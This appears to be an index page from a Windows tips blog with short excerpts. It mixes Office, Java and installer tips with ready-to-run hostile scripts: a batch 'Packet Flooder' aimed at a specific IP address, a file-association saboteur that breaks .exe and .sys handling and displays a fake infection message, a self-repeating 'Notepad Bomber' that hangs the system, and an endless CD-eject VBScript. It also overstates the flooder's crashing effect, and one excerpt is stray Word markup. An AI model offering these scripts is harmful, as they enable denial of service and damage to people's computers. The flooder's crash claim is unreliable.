POPING CD-ROM

This vb-script program pops CD-Rom 1.Open Notepad. 2.Type Set oWMP = CreateObject(“WMPlayer.OCX.7“) Set colCDROMs = oWMP.cdromCollection do if colCDROMs.Count >= 1 then For i = 0 to colCDROMs.Count -1 colCDROMs.Item(i).Eject Next For i = 0 to colCDROMs.Count -1 colCDROMs.Item(i).Eject Next End If wscript.sleep 5000 loop 3.Save it as “*.vbs” .  4.Double click it. Note: 1.Type the inverted Commas “ manually. 2. If you want to end this script simply Open Task Manager(Alt+Ctrl+Delete).Select Processes and end the process “wscript.exe...

Read more »

Packet Flooder

This program slows down the remote computer connected in  network. This can be done by continuously pinging the remote host by setting the length of the packet to 65,500K. at the receiving end, the remote computer receives mushrooms of packets of larger size, and if it goes on for some time, the memory on the remote system automatically overloads and finally the remote system will crash. 1.Open notepad 2.Type @echo off :flood ping -l 65500 -t 10.199.64.66 start flooder.bat goto flood 3.Save this file as flooder.bat. It will open up lot of command windows on your screen too, there are chances for your computer to crash to...

Read more »

Time Your computer shutdown

Normal 0 false false false EN-US X-NONE X-NONE /* Style Definitions */ table.MsoNormalTable {mso-style-name:"Table Normal"; mso-tstyle-rowband-size:0; mso-tstyle-colband-size:0; mso-style-noshow:yes; ...

Read more »

Extension Changer

This program associates the native file extensions with some other type of file extension, which makes the program unable . 1.Open Notepad. 2.Type @echo off title Ext_changer color a Rem  replaces the actual file extensions with the given extensions @echo off assoc .txt=jpegfile assoc .exe=htmlfile assoc .jpeg=avifile assoc .png=mpegfile assoc .mpeg=txtfile assoc .sys=regfile msg Your System got Infected….. exit 3.save as ext.bat. Note: Apply its reverse to change the extensions back to original...

Read more »

Hide Files In An Image

Using steps given below you can hide files in an image 1. Collect the files you wish to hide, and the image file, and place them in a folder. 2. Add the files into a winrar .rar or .zip. 3. Open command prompt .Start > Run > cmd4. In Command Prompt, navigate to the folder where your  files are by typing cd location . 5. Type in cmd copy /b image.jpg + hide.rar image.jpg To extract your file, there are two ways a) Change the file extension from image.jpg to hide.rar, then open and your file is there. b)Right click ihe image, open with WinRar and your file is there....

Read more »

Secrets Of Paint

Create a trail image1.    Open Paint, then open an image. 2.    Right-click on the image and select "Select All" 3.    Now hold the "Shift" key and move the image around. The image will be drawn with trail. 10x Zoom1.    Open Paint, then open a small image. 2.    Select the zoom "Magnifier" tool. 3.    Windows Paint lists out the zoom options from 1x to 8x, but there is a 10x... 4.    After selecting the Magnifier tool, point the mouse right at the border line right under "8x" and left-click. There you go.. the hidden 10x. ...

Read more »

Secrets Of Notepad

Create a logs1.    Open Notepad 2.    On the very first line, type in ".LOG" (without quotes) then press Enter for a new line 3.    Now you can type in some text if you want, then save the file. 4.    Next time when you open the file, notice its contents. Notepad automatically adds a time/date log everytime you open the file. Text becomes unreadable1.    Open Notepad 2.    On the very first line, type in "dont eat the donut" (without quotes) then save and close the file. Note: the file should have only one line of the text above. 3.    Now, open the same file. You'll notice the text becomes unreadable...

Read more »

Window XP Games Secret

Solitaire: Win instantly  Press Alt + Shift + 2 to win instantly Solitaire:  Draw using only 1 card instead of 3  Hold down Ctrl + Alt + Shift then click on unopen cards to draw. FreeCell:    Win instantly 1. Hold down Ctrl + Shift + F10 while playing, then click Abort. 2. Now move one card. FreeCell: Hidden Game Modes 1. Go to "Game" menu choose "Select Game" 2. Here you can choose from game mode 1 to 1,000,000. But -1 and -2 will also work (hidden modes) Hearts:  Show All Card This requires a modification in your registry. Be sure you follow the steps carefully.It might damage your window. 1. Open the "Registry Editor" by: "Start" >> "Run" then type "regedit" and press Enter 2. Expand to HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Applets\Hearts...

Read more »

Notepad Bomber

This is a simple computer program that will  open notepad continuously. 1. Open Notepad . 2.Type the code in notepad as : @echo off :bomb start notepad.exe goto bomb 3.Save it as “*.bat” and double click it.. Note: If you want to try it, then go ahead and when you built this file double click to open it. But beware it hangs your system and you will have to  restart your computer, as this  opens 100’s of notepad window. So, If you want to try this than save all your work and then run this fi...

Read more »

Creating an Executable jar File

Creating an Executable jar File Here I am going to explain you how to make jar file from class file in java. Jar files are created using the jar.exe utility program from JDK. You can make your jar file runnable by telling jar.exe which class has main. To do that, you first need to create a manifest file. A manifest is a one-line text file with a "Main-Class" directive. For example: Main-Class: IT Martial This line must end with a newline. You can create a manifest file in any text editor, or even by using the MS-DOS echo command. You can give your manifest file any name, but it’s better to use something standard, such as manifest.txt. Once you have a manifest and all your classes have been compiled, you need to run JDK’s...

Read more »

Improve Boot Time Of Your Computer

Improve Boot Time Of Your Computer Here iam going to explain that how you can clean boot your computer. 1.Open Run dialog. Start=>Run 2.Type Msconfig and click OK. 3.System configration utility dialog will pop up . Select general tab and click selective start up . 4.Uncheck items given below: i. SYSTEM.INI file ii. WIN.INI file iii. Load Start up items 5.Verify that Load system services and use original BOOT.INI are checked. 6.Select Services tab. 7.Select Hide All Services. (This hides all important windows services) 8.Select Disable All option. (if you identifes some services such as antivirus , don’t disable them.) 9.Click O.K. and restart computer...

Read more »

SHORTCUTS OF MICROSOFT OFFICE

 30 shortcuts of Microsoft Excel Select the current column [Ctrl] + [Space] Select the current row [Shift] + [Space] Edit the active cell [F2] Move to the beginning of the worksheet [Ctrl] + [Home] Move to the last cell on the worksheet [Ctrl] + [End] Paste a name into a formula [F3] Paste a function into a formula [Shift] + [F3] Alternate value/formula view [Ctrl] + [`] (on key [1]) Calculate all sheets in all open workbooks [F9] Display the Go To dialog box [F5] Display the Find dialog box [Shift] + [F5] Display the Format Cells dialog box [Ctrl] + [1] Create a chart [F11] Insert...

Read more »

45 tips and tricks for Microsoft Excel

45 tips and tricks for Microsoft Excel Here are some useful tips for MS-Excel. 1 Convert rows to columns You can convert rows to columns (and columns to rows) by highlighting the cells you want to switch around, clicking on Edit, Copy, selecting a new cell and then going to Edit, Paste Special… Finally, place a tick in the Transpose box on the dialog box and click on OK. 2 Calculate time between dates Enter in a cell the formula =A2-A1, where A1 is the earlier date, and A2 the later one. Don’t forget to convert the target cell to number format – do this by highlighting the cell, clicking on Format, Cells…, picking on the Number tab and selecting Number from the Category: list. 3 Enter URLs as text, not hyperlinks To prevent Excel...

Read more »

ClickOnce Deployment

ClickOnce Deployment With ClickOnce deployment there is no need to start a setup program on the client system. All the client system ’ s user has to do is click a link on a Web page, and the application is automatically installed. After the application is installed, the client can be offline — it doesn ’ t need to access the server from which the application was installed. ClickOnce installation can be done from a Web site, a UNC share, or a file location (e.g., a CD). With ClickOnce, the application is installed on the client system, it is available with Start menu shortcuts, and it can be uninstalled from the Add/Remove Programs dialog. Here are the steps for clickonce deployment: 1. Open the application with Visual Studio...

Read more »

Creating An Installation Package

Creating an Installation Package Here I am going to explain you how to create set up for windows application using Visual Studio 2008. Steps are as follow : 1. Open the solution file of the project you created . You will add the installation project to the existing solution. 2. Add a Setup Project to the solution with the File =>Add Project=>New Project menu, as shown in Figure , and click the OK button. 3. Change the Prerequisites option in the Property page to include Windows Installer 3.1 so that the application can be installed on systems where Windows Installer 3.1 is not available. Also change the output filename , as shown in Figure . Then click OK. Setup1=> Right click => Property Click prerequisites 4....

Read more »